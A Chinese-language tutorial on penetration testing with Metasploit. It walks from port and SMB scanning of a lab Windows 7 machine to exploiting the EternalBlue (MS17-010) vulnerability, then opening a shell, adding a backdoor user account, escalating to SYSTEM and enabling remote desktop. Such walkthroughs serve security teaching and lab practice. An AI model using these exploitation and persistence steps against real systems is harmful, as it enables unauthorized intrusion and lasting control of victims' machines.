使用MSF框架进行系统渗透(永恒之蓝)
MSF简介
Metasploit框架(Metasploit Framework, MSF)是一个开源工具,旨在方便渗透测试,它是由Ruby程序语言编写的模板化框架,具有很好的扩展性,便于渗透测试人员开发、使用定制的工具模板。
Metasploit可向后端模块提供多种用来控制测试的接口(如控制台、 Web 、 CLI )。推荐使用控制台接口,通过控制台接口,你可以访问和使用所有Metasploit的插件,例如Payload、利用模块、 Post模块等。 Metasploit还有第三方程序的接口,例如Nmap、SQLMap 等,可以直接在控制台接口里使用,要访问该界面。
MSF五大模块类型
Auxiliaries(辅助模块) |
MSF启动、退出、更新
进入kali虚拟机,打开终端,输入msfconsole,进入MSF框架。 |
主机扫描
扫描和收集信息是渗透测试中的第一步,其主要目标是尽可能多地发现有关目标机器的信息。获取的信息越多,渗透的概率就越大。该步骤的主要关注点是目标机器IP地址、可用服务、开放端口等。
使用辅助模块进行端口扫描
辅助模块是MSF的内置模块,首先利用search portscan命令查询一下有哪些可用的端口扫描模块,执行过程如下。
msf6 > search portscan |
在上述结果中,可以看到有8个可用的端口扫描模块,此处以tcp端口扫描模块为例进行扫描。输入命令use auxiliary/scanner/portscan/tcp进入对应模块(看>号前面的内容就知道自己所处模块位置),再输入show options查询对应模块需要使用的参数。 |
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.200.129 /设置要扫描的ip |
其实还有两条可选命令:setg命令和unsetg命令 。二者用于在msfconsole中设置或者取消设置全局性的参数值,从而避免重复输入相同的值。
使用辅助模块进行服务扫描
在扫描目标机器上运行的服务时,有多种基于服务的扫描技术可供选择,例如VNC 、FTP 、SMB等,只需执行特定类型的扫描就可以发现服务。
使用命令search scanner可以发现大量的扫描模块,约有600多个,建议读者多尝试不同的辅助扫描模块,了解其用法。
使用search scanner/smb搜索与SMB服务相关的模块,搜索结果如下。使用的步骤与使用端口扫描模块时的基本相同.
使用 Nmap 扫描
在Metasploit中同样可以使用Nmap扫描,它不仅可以用来确定目标网络上计算机的存活状态,而且可以扫描计算机的操作系统、开放端口、服务等。熟练掌握Nmap的用法可以极大地提高个人的渗透测试技术。
在MSF框架中可以直接使用Nmap,输入命令nmap -A 192.168.200.129对靶机进行全面扫描,过程如下,可以看到445端口开启着,可能存在利用永恒之蓝漏洞。
漏洞探测及利用
漏洞探测
在上述信息收集中,我们发现445端口开启,代表着目标靶机运行者SMB服务,这给我们提供了下一步分析了利用的方向。本节内容主要围绕永恒之蓝漏洞展开,因此使用命令search ms17_010查询与永恒之蓝相关的可利用模块,发现公有4个模块,辅助模块和利用模块各两个。
端口开启不代表就存在永恒之蓝漏洞,因此我们还需要借助更具体的扫描模块来检验是否存在永恒之蓝漏洞,使用命令use auxiliary/scanner/smb/smb_ms17_010进入永恒之蓝漏洞扫描模块,输入参数options查看所需参数。
msf6 > use auxiliary/scanner/smb/smb_ms17_010 |
在参数查询结果中,可以看到必填项中有RHOSTS还未设置信息,使用set命令设置参数后使用run命令运行该模块。在运行结果的第一行中,Host is likely VULNERABLE to MS17-010!表示主机可能会受到ms17-010漏洞的伤害,也就是存在该漏洞。
漏洞利用
到此,我们从发现445端口开启,到验证永恒之蓝漏洞的存在,下一步就是漏洞利用,在前面我们已经搜索到永恒之蓝的两个漏洞利用模块,此处使用第一个进行测试。使用命令use exploit/windows/smb/ms17_010_eternalblue进入该模块,并输入命令options查看所需参数。
msf6 > use exploit/windows/smb/ms17_010_eternalblue |
在参数查询结果中,可以看到必填项中有RHOSTS还未设置信息,使用set命令设置参数后使用run命令运行该模块。可以看到漏洞已经利用成功,接下去就可以设置用户及其他留后门的手段了。
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.200.129 |
GetShell。输入命令shell来让靶机反弹shell到当前窗口。GetShell成功。
创建用户并提权为管理员。
C:\Windows\system32>net user yjs21322 yjs21322 /add |
验证:在win7的终端,输入net user查询用户列表,可以看到yjs21322用户已经在其中。
后渗透,运行命令getsystem先将当前的session提升为system权限
run post/windows/manage/enable_rdp,利用此后渗透模块即可直接开启远程桌面